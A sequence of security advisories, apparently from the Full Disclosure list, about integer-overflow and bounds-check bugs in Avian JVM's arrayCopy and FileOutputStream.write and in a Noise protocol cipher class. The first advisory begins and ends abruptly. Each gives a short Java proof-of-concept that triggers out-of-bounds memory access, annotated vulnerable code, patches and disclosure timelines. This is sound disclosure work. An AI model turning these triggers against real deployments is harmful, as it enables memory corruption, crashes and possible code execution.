package com.southernstorm.noise.protocol;
public class poc {
public static void main(String[] args) {
byte[] plaintext = "This is my plaintext".getBytes();
byte[] ciphertext = new byte[plaintext.length];
CipherState cs = new AESGCMOnCtrCipherState();
// Passing a large plaintextOffset should result in a
ShortBufferException
// instead of relying on the JMV's implementation of System.arraycopy.
try {
cs.encryptWithAd(null, plaintext, 0x7fff, ciphertext, 0, 1);
}
catch(Exception e){
System.out.println("An exception has been thrown: " + e);
}
}
}
Evidence:
public int encryptWithAd(byte[] ad, byte[] plaintext, int plaintextOffset,
byte[] ciphertext, int ciphertextOffset, int length)
throws ShortBufferException {
int space;
if (ciphertextOffset > ciphertext.length) // BUG: ciphertextOffset could be
negative,
// bypassing this length check
space = 0;
else
space = ciphertext.length - ciphertextOffset;
// BUG: a negative ciphertextOffset would increase the space instead of
decreasing it
if (keySpec == null) {
if (length > space) // BUG: this check can be bypassed with negative
ciphertextOffset
throw new ShortBufferException();
if (plaintext != ciphertext || plaintextOffset != ciphertextOffset)
/* Multiple issues here:
1. plaintextOffset is never checked. Depending on the JVM's
implementation,
This could result in OOB read in arraycopy (see CVE-2020-17360
for Avian JVM) or
exception being thrown.
2. ciphertextOffset could be negative, bypassing the checks on the
length.
Depending on the JVM, this could result in OOB read/write or
exception being thrown.
3. If the length is negative, depending on the JVM, arraycopy could
result in OOB
read/write, exception being thrown, or silent return (e.g.
CVE-2020-17360 in Avian) */
System.arraycopy(plaintext, plaintextOffset, ciphertext,
ciphertextOffset, length);
return length;
}
if (space < 16 || length > (space - 16)) // BUG: this can be bypassed with
negative length
throw new ShortBufferException();
try {
setup(ad);
/* Multiple issues here as well:
1. plaintextOffset is never checked. this could result in an
exception being thrown
by the JVM.
2. ciphertextOffset could be negative, bypassing the checks on the
length.
Depending on the JVM, this could result in OOB write in
arraycopy or exception being thrown.
3. length could be negative. Depending on the JVM, this could
result in OOB write in arraycopy
or exception being thrown. */
int result = cipher.update(plaintext, plaintextOffset, length,
ciphertext, ciphertextOffset);
cipher.doFinal(ciphertext, ciphertextOffset + result);
} catch (InvalidKeyException e) {
// Shouldn't happen.
throw new IllegalStateException(e);
} catch (InvalidAlgorithmParameterException e) {
// Shouldn't happen.
throw new IllegalStateException(e);
} catch (IllegalBlockSizeException e) {
// Shouldn't happen.
t
[FD] Avian JVM vm::arrayCopy() Multiple Integer Overflows
Vulnerability title: Avian JVM vm::arrayCopy() Multiple Integer Overflows
Author: Pietro Oliva
CVE: CVE-2020-17360
Vendor: ReadyTalk
Product: Avian JVM
Affected version: 1.2.0
Description:
The issue is located in the vm::arrayCopy method defined in classpath-common.h,
where multiple boundary checks are performed to prevent out-of-bounds memory
read/write. Two of those boundary checks contain an integer overflow which leads
to those same checks being bypassed and out-of-bounds read/write.
Impact:
Attackers could exploit this vulnerability to read/write arbitrary content in
the JVM memory. This could in turn result in denial of service, memory
disclosure, or arbitrary code execution in the context of the JVM.
Exploitation:
The following PoC would trigger an out-of-bounds write and crash of Avian JVM:
import java.lang.*;
public class poc {
public static void main(String[] args) {
byte[] src = "This is src".getBytes();
byte[] dst = "This is dst".getBytes();
// Triggering out-of-bounds write via integer overflow on
System.arraycopy
System.arraycopy(src, 0, dst, 0x7fff, 1);
}
}
Evidence:
void arrayCopy(Thread* t,
object src,
int32_t srcOffset,
object dst,
int32_t dstOffset,
int32_t length)
{
if (LIKELY(src and dst)) {
if (LIKELY(compatibleArrayTypes(
t, objectClass(t, src), objectClass(t, dst {
unsigned elementSize = objectClass(t, src)->arrayElementSize();
if (LIKELY(elementSize)) {
intptr_t sl = fieldAtOffset(src, BytesPerWord);
intptr_t dl = fieldAtOffset(dst, BytesPerWord);
if (LIKELY(length > 0)) {
if (LIKELY(srcOffset >= 0 and srcOffset + length <= sl // integer OF
/*integer overflow*/ and dstOffset >= 0 and dstOffset + length <= dl)) {
uint8_t* sbody = (src, ArrayBody);
uint8_t* dbody = (dst, ArrayBody);
if (src == dst) {
memmove(dbody + (dstOffset * elementSize),
sbody + (srcOffset * elementSize),
length * elementSize);
} else {
memcpy(dbody + (dstOffset * elementSize),
sbody + (srcOffset * elementSize),
length * elementSize);
}
if (objectClass(t, dst)->objectMask()) {
mark(t, dst, ArrayBody + (dstOffset * BytesPerWord), length);
}
return;
} else {
throwNew(t, GcIndexOutOfBoundsException::Type);
}
} else {
return;
}
}
}
} else {
throwNew(t, GcNullPointerException::Type);
return;
}
throwNew(t, GcArrayStoreException::Type);
}
As can be seen in the two lines commented above, offset+length can overflow and
the size checks would be bypassed. Overflowing srcOffset+length would trigger an
out-of-bounds read in either memmove or memcpy, while overflowing dstOffset +
length would trigger an out-of-bounds write in the same methods.
Mitigating factors:
Since both offsets and length need to be positive integers, there is a limited
range of memory where an attacker could read or write as a result of this
vulnerability.
Remediation:
A patch has been merged in the master branch:
https://github.com/ReadyTalk/avian/pull/571
Disclosure timeline:
3rd August 2020 - Vulnerability reported.
3rd August 2020 - Vulnerability acknowledged.
4th August 2020 - CVE request sent to Mitre.
5th August 2020 - CVE assigned.
10th August 2020 - Proposed patch via pull request.
10th August 2020 - Patch approved and merged after changes.
10th August 2020 - Vulnerability details shared on fulldisclosure.
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Avian JVM vm::arrayCopy() silent return on negative length
Vulnerability title: Avian JVM vm::arrayCopy() silent return on negative length
Author: Pietro Oliva
CVE: CVE-2020-17361
Vendor: ReadyTalk
Product: Avian JVM
Affected version: 1.2.0
Description:
The issue is located in the vm::arrayCopy method defined in classpath-common.h,
where multiple boundary checks are performed to prevent out-of-bounds memory
read/write. One of these boundary checks makes the code return silently when a
negative length is provided instead of throwing an exception.
Impact:
The caller could assume that the method has succeeded in the copy operation due
to the lack of exception being thrown for negative lengths. This could result
in data being lost during the copy, with varying consequences depending on the
subsequent use of the destination buffer.
Exploitation:
The following PoC should throw an exception, but it silently returns instead:
import java.lang.*;
public class poc {
public static void main(String[] args) {
byte[] src = "This is src".getBytes();
byte[] dst = "This is dst".getBytes();
// This should throw an exception, but it doesn't and it silently
returns intead.
System.arraycopy(src, 0, dst, 0, -1);
}
}
Evidence:
void arrayCopy(Thread* t,
object src,
int32_t srcOffset,
object dst,
int32_t dstOffset,
int32_t length)
{
if (LIKELY(src and dst)) {
if (LIKELY(compatibleArrayTypes(
t, objectClass(t, src), objectClass(t, dst {
unsigned elementSize = objectClass(t, src)->arrayElementSize();
if (LIKELY(elementSize)) {
intptr_t sl = fieldAtOffset(src, BytesPerWord);
intptr_t dl = fieldAtOffset(dst, BytesPerWord);
if (LIKELY(length > 0)) {
if (LIKELY(srcOffset >= 0 and srcOffset + length <= sl
and dstOffset >= 0 and dstOffset + length <= dl)) {
uint8_t* sbody = (src, ArrayBody);
uint8_t* dbody = (dst, ArrayBody);
if (src == dst) {
memmove(dbody + (dstOffset * elementSize),
sbody + (srcOffset * elementSize),
length * elementSize);
} else {
memcpy(dbody + (dstOffset * elementSize),
sbody + (srcOffset * elementSize),
length * elementSize);
}
if (objectClass(t, dst)->objectMask()) {
mark(t, dst, ArrayBody + (dstOffset * BytesPerWord), length);
}
return;
} else {
throwNew(t, GcIndexOutOfBoundsException::Type);
}
} else {
return; // No exceptions are thrown for negative lengths
}
}
}
} else {
throwNew(t, GcNullPointerException::Type);
return;
}
throwNew(t, GcArrayStoreException::Type);
}
As can be seen in the line commented above, no exceptions are thrown for
negative lengths.
Remediation:
A patch has been merged in the master branch:
https://github.com/ReadyTalk/avian/pull/571
Disclosure timeline:
3rd August 2020 - Vulnerability reported.
3rd August 2020 - Vulnerability acknowledged.
4th August 2020 - CVE request sent to Mitre.
5th August 2020 - CVE assigned.
10th August 2020 - Proposed patch via pull request.
10th August 2020 - Patch approved and merged after changes.
10th August 2020 - Vulnerability details shared on fulldisclosure.
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Avian JVM FileOutputStream.write() Integer Overflow
Vulnerability title: Avian JVM FileOutputStream.write() Integer Overflow
Author: Pietro Oliva
Vendor: ReadyTalk
Product: Avian JVM
Affected version: 1.2.0 before 27th October 2020
Fixed Version: 1.2.0 since 27th October 2020
Description:
The issue is located in the FileOutputStream.write() method defined in
FileOutputStream.java, where a boundary check is performed in order to prevent
out-of-bounds memory read/write. However, this check contained an integer
overflow which leads to the same check being bypassed and out-of-bounds
read/write.
Impact:
Attackers could exploit this vulnerability to read/write arbitrary content in
the JVM memory. This could in turn result in denial of service, memory
disclosure, or arbitrary code execution in the context of the JVM.
Exploitation:
The following PoC would trigger an OOB read/write and/or crash of Avian JVM:
import java.io.IOException;
import java.io.FileDescriptor;
import java.io.FileOutputStream;
public class poc {
public static void main(String[] args) throws IOException {
byte[] data = "somedata".getBytes();
FileDescriptor fd = new FileDescriptor().out;
FileOutputStream fos = new FileOutputStream(fd);
fos.write(data, 1, 0x7fff); // Integer overflow + OOB read/write here
}
}
Evidence:
public void write(byte[] b, int offset, int length) throws IOException {
if (b == null) {
throw new NullPointerException();
}
if (offset < 0 || offset + length > b.length) { // Integer overflow here
throw new ArrayIndexOutOfBoundsException();
}
write(fd, b, offset, length);
}
extern "C" JNIEXPORT void JNICALL
Java_java_io_FileOutputStream_write__I_3BII(JNIEnv* e,
jclass,
jint fd,
jbyteArray b,
jint offset,
jint length)
{
jbyte* data = static_cast(malloc(length));
if (data == 0) {
throwNew(e, "java/lang/OutOfMemoryError", 0);
return;
}
e->GetByteArrayRegion(b, offset, length, data);
if (not e->ExceptionCheck()) {
doWrite(e, fd, data, length);
}
free(data);
}
void JNICALL GetByteArrayRegion(Thread* t,
jbyteArray array,
jint offset,
jint length,
jbyte* dst)
{
ENTER(t, Thread::ActiveState);
if (length) {
// Out-of-bounds read/write here
memcpy(dst, &(*array)->body()[offset], length * sizeof(jbyte));
}
}
As can be observed above, offset+length can overflow in FileOutputStream.write()
and later result in OOB read/write during memcpy() in GetByteArrayRegion().
Mitigating factors:
Since offset needs to be a positive integer, and length is limited to a valid
malloc argument, there is a limited range of memory where an attacker could read
or write as a result of this vulnerability.
Remediation:
A fix has been made available with the following commit:
https://github.com/ReadyTalk/avian/commit/0871979b298add320ca63f65060acb7532c8a0dd
Disclosure timeline:
20th October 2020 - Vulnerability reported.
20th October 2020 - Vulnerability acknowledged.
20th October 2020 - CVE request sent to Mitre.
23rd October 2020 - Sent reminder to Mitre.
27th October 2020 - Sent reminder to Mitre.
27th October 2020 - Patch proposed via pull request.
27th October 2020 - Patch merged into master branch.
29th October 2020 - Sent reminder to Mitre.
2nd November 2020 - CVE request sent again to Mitre.
11th November 2020 - Vulnerability details shared on fulldisclosure without
CVE identifier.
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
